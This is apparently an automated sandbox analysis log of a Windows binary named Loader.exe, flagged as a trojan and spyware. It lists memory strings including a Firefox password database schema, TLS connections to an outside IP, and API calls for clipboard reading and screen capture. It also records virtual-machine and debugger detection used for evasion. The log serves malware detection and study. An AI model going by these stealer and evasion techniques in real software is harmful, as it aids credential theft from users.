Source: Loader.exe, 00000002.00000003.1763473279.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730936644.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730824420.0000000005D90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Loader.exe, 00000002.00000003.1730936644.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Loader.exe, 00000002.00000003.1763473279.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730936644.0000000005D89000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730824420.0000000005D90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Loader.exe, 00000002.00000003.1730936644.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Loader.exe, 00000002.00000003.1786258773.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Loader.exe, 00000002.00000003.1730226994.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1730301767.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Loader.exe, 00000002.00000003.1785899492.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: C:\Users\user\Desktop\Loader.exe

Code function: 2_2_00436300 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00436300

Source: C:\Users\user\Desktop\Loader.exe

Code function: 2_2_00436300 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00436300

Source: C:\Users\user\Desktop\Loader.exe

Code function: 2_2_004364F0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

2_2_004364F0

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E5F4D0	0_2_00E5F4D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E634D0	0_2_00E634D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E615A0	0_2_00E615A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E5F980	0_2_00E5F980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E586C0	0_2_00E586C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E5CE70	0_2_00E5CE70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E5D7F0	0_2_00E5D7F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E71FD2	0_2_00E71FD2
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4FA	2_3_0378E4FA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4FA	2_3_0378E4FA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4FA	2_3_0378E4FA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4FA	2_3_0378E4FA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043A860	2_2_0043A860
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00426143	2_2_00426143
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00422AFE	2_2_00422AFE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00408BC0	2_2_00408BC0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043ABD0	2_2_0043ABD0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043D420	2_2_0043D420
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00442C30	2_2_00442C30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00424480	2_2_00424480
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0040E521	2_2_0040E521
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0041F580	2_2_0041F580
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004435B0	2_2_004435B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042EEDD	2_2_0042EEDD
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00429680	2_2_00429680
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00421F60	2_2_00421F60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042FF02	2_2_0042FF02
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00441840	2_2_00441840
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00407850	2_2_00407850
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00425050	2_2_00425050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0041B02F	2_2_0041B02F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004210D0	2_2_004210D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042E8FF	2_2_0042E8FF
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042C895	2_2_0042C895
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004068A0	2_2_004068A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042C895	2_2_0042C895
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042F145	2_2_0042F145
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00426960	2_2_00426960
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043B961	2_2_0043B961
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00436120	2_2_00436120
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00441920	2_2_00441920
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00431937	2_2_00431937
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00402180	2_2_00402180
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00409990	2_2_00409990
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00443260	2_2_00443260
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0041AA68	2_2_0041AA68
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042FA7B	2_2_0042FA7B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00429A00	2_2_00429A00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043A210	2_2_0043A210
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00419A1F	2_2_00419A1F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00430A2D	2_2_00430A2D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042EEDD	2_2_0042EEDD
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00423AE0	2_2_00423AE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00429AEE	2_2_00429AEE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00426AF0	2_2_00426AF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00445288	2_2_00445288
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042BA9A	2_2_0042BA9A
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0041EAA3	2_2_0041EAA3
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00420B60	2_2_00420B60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0041D327	2_2_0041D327
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0040B32F	2_2_0040B32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00402B90	2_2_00402B90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043339D	2_2_0043339D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042244F	2_2_0042244F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042AC02	2_2_0042AC02
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043B400	2_2_0043B400
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004204E0	2_2_004204E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00441C80	2_2_00441C80
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043048B	2_2_0043048B
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043E4A0	2_2_0043E4A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004414B0	2_2_004414B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042A4B8	2_2_0042A4B8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0040AD40	2_2_0040AD40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00406D40	2_2_00406D40
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00405D30	2_2_00405D30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00404D32	2_2_00404D32
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042B5DE	2_2_0042B5DE
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004415E0	2_2_004415E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004085F0	2_2_004085F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043DD90	2_2_0043DD90
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004035B0	2_2_004035B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0041B657	2_2_0041B657
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0040C672	2_2_0040C672
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00419E04	2_2_00419E04
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042AE30	2_2_0042AE30
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0043263C	2_2_0043263C
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00435ED0	2_2_00435ED0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004256D1	2_2_004256D1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004414B0	2_2_004414B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00426760	2_2_00426760
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00441760	2_2_00441760
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_0042C778	2_2_0042C778
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00448F1D	2_2_00448F1D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00442F20	2_2_00442F20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_004027C0	2_2_004027C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00439FB0	2_2_00439FB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E5F980	2_2_00E5F980
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E5F4D0	2_2_00E5F4D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E634D0	2_2_00E634D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E615A0	2_2_00E615A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E586C0	2_2_00E586C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E5CE70	2_2_00E5CE70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E5D7F0	2_2_00E5D7F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E71FD2	2_2_00E71FD2

Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00E68178 appears 36 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00408400 appears 54 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00E655C0 appears 66 times
Source: C:\Users\user\Desktop\Loader.exe	Code function: String function: 00419750 appears 70 times

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Loader.exe

Static PE information: Section: .coS ZLIB complexity 1.000329143481717

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@1/1

Source: C:\Users\user\Desktop\Loader.exe

Code function: 2_2_0043ABD0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_0043ABD0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6564:120:WilError_03

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Loader.exe, 00000002.00000003.1730684283.0000000005D68000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1731021194.0000000005D35000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Loader.exe	ReversingLabs: Detection: 42%
Source: Loader.exe	Virustotal: Detection: 42%

Source: C:\Users\user\Desktop\Loader.exe

File read: C:\Users\user\Desktop\Loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: Loader.exe	Static PE information: section name: .00cfg
Source: Loader.exe	Static PE information: section name: .coS

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E64BC5 push ecx; ret	0_2_00E64BD8
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E47B push edi; retf	2_3_0378E489
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E47B push edi; retf	2_3_0378E489
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E66B push 09006E6Fh; retf	2_3_0378E679
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E66B push 09006E6Fh; retf	2_3_0378E679
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E42A push 00000041h; retf	2_3_0378E439
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E42A push 00000041h; retf	2_3_0378E439
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E50A push 6573764Fh; retf	2_3_0378E519
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E50A push 6573764Fh; retf	2_3_0378E519
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4AB push ecx; retf	2_3_0378E4B9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4AB push ecx; retf	2_3_0378E4B9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E6AB push 1F006E6Fh; retf	2_3_0378E6C9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E6AB push 1F006E6Fh; retf	2_3_0378E6C9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E49B push ebx; retf	2_3_0378E4A9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E49B push ebx; retf	2_3_0378E4A9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378C49C push edx; iretd	2_3_0378C4A1
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E48B push ebp; retf	2_3_0378E499
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E48B push ebp; retf	2_3_0378E499
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E47B push edi; retf	2_3_0378E489
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E47B push edi; retf	2_3_0378E489
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E66B push 09006E6Fh; retf	2_3_0378E679
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E66B push 09006E6Fh; retf	2_3_0378E679
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E42A push 00000041h; retf	2_3_0378E439
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E42A push 00000041h; retf	2_3_0378E439
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E50A push 6573764Fh; retf	2_3_0378E519
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E50A push 6573764Fh; retf	2_3_0378E519
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4AB push ecx; retf	2_3_0378E4B9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E4AB push ecx; retf	2_3_0378E4B9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E6AB push 1F006E6Fh; retf	2_3_0378E6C9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E6AB push 1F006E6Fh; retf	2_3_0378E6C9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_3_0378E49B push ebx; retf	2_3_0378E4A9

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E64CA2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00E64CA2

Source: C:\Users\user\Desktop\Loader.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Loader.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe TID: 4500	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe TID: 1620	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E6C7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00E6C7DB

Source: Loader.exe, 00000002.00000003.1813007192.0000000003729000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883066535.0000000003729000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: Loader.exe, 00000002.00000002.1883066535.00000000036ED000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000003.1813007192.0000000003729000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000002.00000002.1883066535.0000000003729000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Loader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 2_2_0043FE80 LdrInitializeThunk,

2_2_0043FE80

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E65444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00E65444

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E7B18D mov edi, dword ptr fs:[00000030h]	0_2_00E7B18D
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E5CD10 mov eax, dword ptr fs:[00000030h]	0_2_00E5CD10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E5BD50 mov edi, dword ptr fs:[00000030h]	0_2_00E5BD50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E5BD50 mov edi, dword ptr fs:[00000030h]	2_2_00E5BD50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E5CD10 mov eax, dword ptr fs:[00000030h]	2_2_00E5CD10

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00E69F90 GetProcessHeap,

0_2_00E69F90

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E65444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00E65444
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E65438 SetUnhandledExceptionFilter,	0_2_00E65438
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E67DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00E67DCA
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00E64AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00E64AD9
Source: C:\Users\user\Desktop\Loader.exe	Code function: 2_2_00E64AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00E64AD9
